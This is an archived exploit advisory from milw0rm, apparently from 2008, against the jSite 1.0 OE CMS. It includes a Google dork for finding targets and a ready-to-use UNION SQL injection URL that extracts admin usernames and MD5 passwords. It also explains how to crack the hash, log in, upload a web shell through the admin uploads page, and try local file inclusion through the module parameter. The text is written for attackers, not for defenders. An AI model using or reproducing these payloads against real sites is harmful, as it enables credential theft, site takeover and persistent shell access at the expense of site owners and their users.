52 lines
No EOL
1.7 KiB
Text
52 lines
No EOL
1.7 KiB
Text
--==+================================================================================+==--
|
|
--==+ jSite 1.0 OE Multiple Remote SQL/LFI Vulnerbility +==--
|
|
--==+================================================================================+==--
|
|
|
|
-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=[ SQL Injection Exploit ]=-=-=-=-=-=-=-=-=-=-=-=-
|
|
|
|
AUTHOR: S.W.A.T.
|
|
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
|
|
Download: http://www.sclek.com/jsite.zip
|
|
|
|
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
|
|
DORK (google): "Powered by jSite 1.0 OE"
|
|
|
|
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
|
|
DESCRIPTION:
|
|
You Can See Admin User & MD5 Password ..::.. Then You Can Crack It & Login ;)
|
|
|
|
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
|
|
EXPLOITS:
|
|
www.site.com/?page=-1/**/union/**/select/**/1,2,3,concat_ws
|
|
|
|
(0x3a,user,pass),admin/**/from/**/jsite_users/*
|
|
|
|
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
|
|
NOTE/TIP:
|
|
|
|
1 Week Off & I Be Back :D ;)
|
|
|
|
Admin Login Is At /admin/
|
|
|
|
U Can Upload Your Shell When U Login Successfully
|
|
From This Link: www.site.com/admin/index.php?menu=uploads
|
|
& Your Shell Will Be Appear Here: www.site.com/uploads/[file].php
|
|
|
|
-=-=-=-=-=-=--=-=-=-=-=-=-=-[ Local File Inclusion ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
|
|
Exploit:
|
|
|
|
www.[target].com/Script/index.php?module=[LFI]
|
|
|
|
|
|
--==+================================================================================+==--
|
|
--==+ jSite 1.0 OE Multiple Remote SQL/LFI Vulnerbility +==--
|
|
--==+================================================================================+==--
|
|
|
|
# milw0rm.com [2008-07-12] |